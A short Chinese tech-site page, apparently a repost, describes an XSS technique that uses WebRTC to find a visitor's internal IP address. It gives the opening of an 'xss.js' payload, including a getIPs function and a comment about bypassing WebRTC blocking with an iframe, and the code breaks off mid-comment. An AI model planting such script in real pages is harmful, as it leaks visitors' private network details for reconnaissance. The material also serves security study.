xss-利用webrtc获取内网IP
发表于:2025-12-03 作者:千家信息网编辑
千家信息网最后更新 2025年12月03日,xss.jsfunction getIPs(callback){ var ip_dups = {}; //compatibility for
千家信息网最后更新 2025年12月03日xss-利用webrtc获取内网IP
xss.jsfunction getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var useWebKit = !!window.webkitRTCPeerConnection; //bypass naive webrtc blocking using an iframe if(!RTCPeerConnection){ //NOTE: you need to have an iframe in the page right above the script tag // // //